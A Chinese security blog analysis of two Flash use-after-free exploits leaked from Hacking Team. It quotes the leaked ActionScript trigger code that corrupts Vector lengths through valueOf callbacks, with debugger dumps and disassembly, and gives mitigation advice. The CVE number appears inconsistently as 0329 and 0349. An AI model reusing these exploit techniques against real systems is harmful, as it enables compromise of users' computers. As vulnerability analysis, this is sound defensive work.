作者:360Vulcan Team成員Yuki Chen
最近專門提供通過攻擊手法進行網絡監聽的黑客公司Hacking Team被黑,包含該公司的郵件、文檔和攻擊代碼的400G數據泄漏。360Vulcan Team第一時間獲取了相關信息,并對其中的攻擊代碼進行了分析。
我們發現其中至少包含了兩個針對Adobe Flash的遠程代碼執行漏洞和一個針對微軟Windows內核字體權限提升漏洞的完整攻擊代碼(exploit)。其中一個Flash漏洞已經在今年4月修補,其他兩個漏洞都未修復。
其中Flash漏洞exploit被設計為可以針對IE、Chrome瀏覽器和Office軟件進行攻擊。攻擊者通過嵌入精心構造的惡意Flash文件到網頁或Office文檔中,使得訪問特定網頁或打開Office文檔的用戶感染惡意代碼。同時,這些惡意代碼通過結合Windows內核字體權限提升漏洞,可以繞過IE(保護模式或增強保護模式)、Chrome(Chrome Sandbox,< Chrome 43)和Office(保護模式)的沙盒保護,完全控制用戶的電腦。
360Vulcan Team對這些漏洞進行分析,并分為三個部分將這些0day的信息共享給安全社區,希望軟件廠商和安全廠商共同行動,盡快修補和防御著這些“在野”的0day漏洞。
Flash 0day -ActionScript ByteArray Buffer Use After Free
看起來HackingTeam的遠程exploit工具中廣泛使用了同一個flash漏洞(攻擊目標可以是IE、Chrome、Office系列):
初步分析這個Exploit之后,我們發現這個Exploit在最新版本的Adobe Flash(18.0.0.194)中仍然可以觸發,因此這應該是一個0day漏洞。
這個漏洞成因在于,Flash對ByteArray內部的buffer使用不當,而造成Use After Free漏洞。
我們來看一下HackingTeam泄露的exploit代碼,關鍵部分如下:
1 定義ByteArray
#!c
for(var i:int; i < alen; i+=3){
a[i] = new Class2(i);
a[i+1] = new ByteArray();
a[i+1].length = 0xfa0;
a[i+2] = new Class2(i+2);
}
首先定義一系列的ByteArray,這些ByteArray初始大小被設置成0xfa0,ActionScript內部會為每個Buffer分配0x1000大小的內存。
2 給ByteArray元素賦值:
#!c++
_ba = a[i];
// call valueOf() and cause UaF memory corruption
_ba[3] = new Clasz();
這一步是觸發漏洞的關鍵,由于ByteArray的元素類型是Byte,當把Clasz類賦值給ByteArray3時,AVM會試圖將其轉化為Byte,此時Clasz的valueOf函數將被調用:
#!c++
prototype.valueOf = function()
{
ref = new Array(5);
collect.push(ref);
// realloc
_ba.length = 0x1100;
// use after free
for (var i:int; i < ref.length; i++)
ref[i] = new Vector.<uint>(0x3f0);
return 0x40
}
在valueOf函數中,最關鍵的一部是更改了ByteArray的長度,將其設置成為0x1100,這個操作將會觸發ByteArray內部buffer的重新分配,舊的buffer(大小為0x1000)將會被釋放。緊接著exploit代碼會分配若干個vector
valueOf函數返回0x40,然后0x40會被寫入buffer[3]
這里,如果邏輯正確,那么此處應該寫入的是新分配的buffer;然而由于代碼漏洞,這里寫入的已經釋放的0x1000大小的舊buffer,于是事實上寫入的是vector對象的頭部,整個過程如下:
1 ByteArray創建并設置長度0xfe0:
old buffer | |
0 0x1000
2 設置_ba[3]
,調用valueOf,在valueOf中設置ByteArray.length = 0x1100,此時old buffer被釋放
old buffer (Freed) | |
0 0x1000
3 然后0x1000大小的vector占據old buffer內存,前4個字節是vector的長度字段:
Vector | f0 03 00 00 |
0 0x1000
4 valueOf返回0x40,0x40被寫入buffer[3]
,由于UAF漏洞的存在,寫入的是vector的size字段:
Vector | f0 03 00 40 |
0 0x1000
于是我們可以得到一個超長的vector對象:
我們可以通過調試來觀察漏洞的觸發過程:
1 調用valueOf之前
#!bash
0:005> u
671cf2a5 call 671b0930 //這里最終調用valueOf
671cf2aa 83c404 add esp,4
671cf2ad 8806 mov byte ptr [esi],al
671cf2af 5e pop esi
此時esi指向old buffer:
0:005> dd esi-3
0dfd5000 00000000 00000000 00000000 00000000
0dfd5010 00000000 00000000 00000000 00000000
2 調用valueOf之后,old buffer被釋放,然后被vector占據:
0:005> p
671cf2aa 83c404 add esp,4
此時esi已經指向新分配的vector,就buffer已經被釋放
0:005> dd esi-3
0dfd5000 000003f0 0d2b3000 00000000 00000000
0dfd5010 00000000 00000000 00000000 00000000
0dfd5020 00000000 00000000 00000000 00000000
0dfd5030 00000000 00000000 00000000 00000000
0dfd5040 00000000 00000000 00000000 00000000
0dfd5050 00000000 00000000 00000000 00000000
0dfd5060 00000000 00000000 00000000 00000000
0dfd5070 00000000 00000000 00000000 00000000
3 寫入buffer[3]
接下來valueOf的返回值0x40被寫入buffer[3]
(及vector.size字段):
#!bash
0:005> p
eax=00000040 ebx=0d8b4921 ecx=00000206 edx=00000006 esi=0dfd5003 edi=0d362020
eip=671cf2ad esp=04f2ceec ebp=04f2d050 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d:
671cf2ad 8806 mov byte ptr [esi],al ds:0023:0dfd5003=00
0:005> p
Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f:
671cf2af 5e pop esi
0:005> dd esi-3
0dfd5000 400003f0 0d2b3000 00000000 00000000
0dfd5010 00000000 00000000 00000000 00000000
0dfd5020 00000000 00000000 00000000 00000000
0dfd5030 00000000 00000000 00000000 00000000
可以看到vector的長度以及被修改成0x400003f0。
由于該漏洞利用非常穩定,而Adobe暫時沒有發布該漏洞的補丁,更可怕的是從HackingTeam泄露的數據來看,該exploit還帶有沙盒突破提權功能,危害甚大。我們建議補丁發布之前,可以暫時先禁用flash插件;也可以開啟Chrome或Chrome核心瀏覽器針對插件的Click-to-Run功能,來緩解Flash 0day的攻擊。
之前我們分析了HackingTeam泄露數據中的Flash 0day (bytearray 0day)。而在泄露數據中我們還看到了另外一個名為convolution_filter的flash exploit。
看了一下這個flash exploit,很快意識到這個漏洞是一個已經修補的漏洞cve-2015-0329,在今年4月份被修補,這也解釋了readme文檔中,flash后面加了“(April 2015)”,意思是這個洞只能用到今年4月之前的flash版本中:
(https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html)
這個漏洞有個不平凡的故事,今年的Pwn2Own大賽中,前Vupen主力Nicolas Joly正是用這個漏洞拿下了64位Flash插件:
所以事情就變得很有趣了,一邊是Nico用這個漏洞打 Pwn2Own,另一邊HackingTeam(從常理推測,應該是通過其它渠道,和Nico無關)也掌握了這個漏洞并將其用于自己的Exploit工具包中。
再回頭看一下CVE-2015-0349這個漏洞,這是一個ActionScript 3中ConvolutionFilter類的內部matrix數組的一個Use After Free漏洞,這是個非常好用的漏洞,在32位和64位上都可以輕松實現穩定利用。
我們來看一下HackingTeam泄露的exploit代碼,關鍵部分如下:
1 創建ConvolutionFilter對象:
#!c++
// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]
for(i=20; i < alen; i+=6){
a[i] = new Class2(i);
for(j=i+1; j < i+5; j++)
a[j] = new ConvolutionFilter(14,15);
a[i+5] = new Class2(i+5);
}
2 設置ConvolutionFilter.matrix
#!c++
var m:Array = new Array(bLen);
m[0] = new Clasz;
m[1] = m[0];
try { filter.matrix = m; } catch (e:Error){}
這里有一個關鍵點,filter.matrix被賦值為m(類型是 Array),而Array m的第一個元素是一個Clasz類,而Clasz類定義了valueOf方法,這個valueOf是漏洞觸發的關鍵點:
#c++
public class Clasz
{
…
public function Clasz() { }
prototype.valueOf = function()
{
…
}
3 在Clasz的valueOf函數中,設置ConvolutionFilter.matrixX:
#!c++
prototype.valueOf = function()
{
if (filter.matrixX > 14) throw new Error(""); // check for the second valueOf() call
ref = new Array(5);
collect.push(ref); // protect from GC // for RnD
filter.matrixX = 15; // reallocate filter matrix
// reuse freed memory
for(var i:int; i < ref.length; i++) {
ref[i] = new Vector.<uint>;
ref[i].length = bLen;
}
// return value for vector length overwriting
return 2; // = 0x40000000 as single precision
}
事實上filter.matrixX = 15執行完畢之后,ConvolutionFilter內部的一個float數組(我們叫他matrixArray)就會被釋放,而從valueOf返回之后,已經釋放的matrixArray還會繼續被使用,并且往里面寫入數據,從而造成了Use-After-Free。我們可以看到valueOf函數中,在設置了filter.matrixX之后,分配了一系列的vector
我們首先先介紹一下ConvolutionFilter的關鍵結構:
ConvolutionFilterObject {
+10 ConvolutionFilter {
+14 int matrixX;
+18 int matrixY;
+1C float *matrixArray;
+20 int matrixLength;
}
}
ConvolutionFilter里面有成員存放matrix矩陣,matrixX和matrixY代表矩陣的x和y,matrixArray是動態分配的數組,其大小是由matrixX和matrixY決定的,關系如下:
matrixArray = alloc( matrixX * matrix * sizeof(float) )
當matrixX和matrixY改變時,如果原來的matrixArray大小不足以容納現在的容量,則舊的matrixArray會被釋放,然后分配新的matrixArray (UAF就是這么來的) 當exploit代碼創建ConvolutionFilter時,傳入的參數是matrixX=14,matrix=15: a[j] = new ConvolutionFilter(14,15); 因此matrixArray初始大小為 14 * 15 * 4 = 840
,然后我們看一下第二步,執行
try { filter.matrix = m; } catch (e:Error){}
時發生了什么: ConvolutionFilter::set_matrix基本上是直接調用了另外一個函數,我們叫他set_matrix_internal:
#!bash
.text:102E9604 loc_102E9604: ; CODE XREF: sub_102E95ED+Aj
.text:102E9604 push 14h
.text:102E9606 lea eax, [esi+24h]
.text:102E9609 push eax
.text:102E960A mov eax, [esi+8]
.text:102E960D mov ecx, [eax+4]
.text:102E9610 or edi, 1
.text:102E9613 push edi
.text:102E9614 call set_matrix_internal
調用該函數時參數如下:
set_matrix_internal( paramArray, matrixArray, matrixLength )
這里的關鍵點是:matrixArray直接作為參數被傳入。我們來看一下set_matrix_internal函數,該函數的功能可以描述為:將paramArray(在exploit里面就是m這個數組)里面的每一項賦值給matrixArray中對應的項,由于matrixArray的類型為float *,因此如果有必要的話得把paramArray中的元素轉換成float,對應邏輯的偽代碼如下:
#!c++
for ( i = 0; I < matrixLength; ++ i ) {
matrixArray[i] = (float)ConvertToNumber(paramArray.get(i));
}
還記得我們的m[0]
被設置成一個Clasz對象了嗎?
m[0] = new Clasz;
將Clasz對象轉換成Number的過程中,會調用Clasz對象的valueOf函數,而前面已經講過,valueOf函數會設置filter.matrixX=15(原來的matrixX為14),此時由于matrixArray大小不夠,于是舊的matrixArray被釋放,新的matrixArray被分配。然后從valueOf返回到set_matrix_internal以后,程序繼續向matrixArray里面寫入值,注意這里用的還是舊的 matrixArray,于是UAF漏洞就這樣產生了。
如果你看過我們前一篇分析bytearray 0day的文章,你可能對valueOf這個函數依然印象深刻。事實上這兩個洞無論是從產生原理,還是利用方式來講都非常的相近。背后隱藏的邏輯是腳本語言從native code回調到腳本層(通過toString, valueOf, event等等),還是很容易出現沒處理好而造成UAF等情況的發生。類似case已經在chrome, IE, flash, java等等軟件中多次出現,有心的讀者可以去留意一下。事實上這也是腳本語言漏洞挖掘中的一個值得切入的點。
由于Adobe官方已針對此漏洞發布了安全更新,用戶只要及時升級就可避免受此漏洞影響。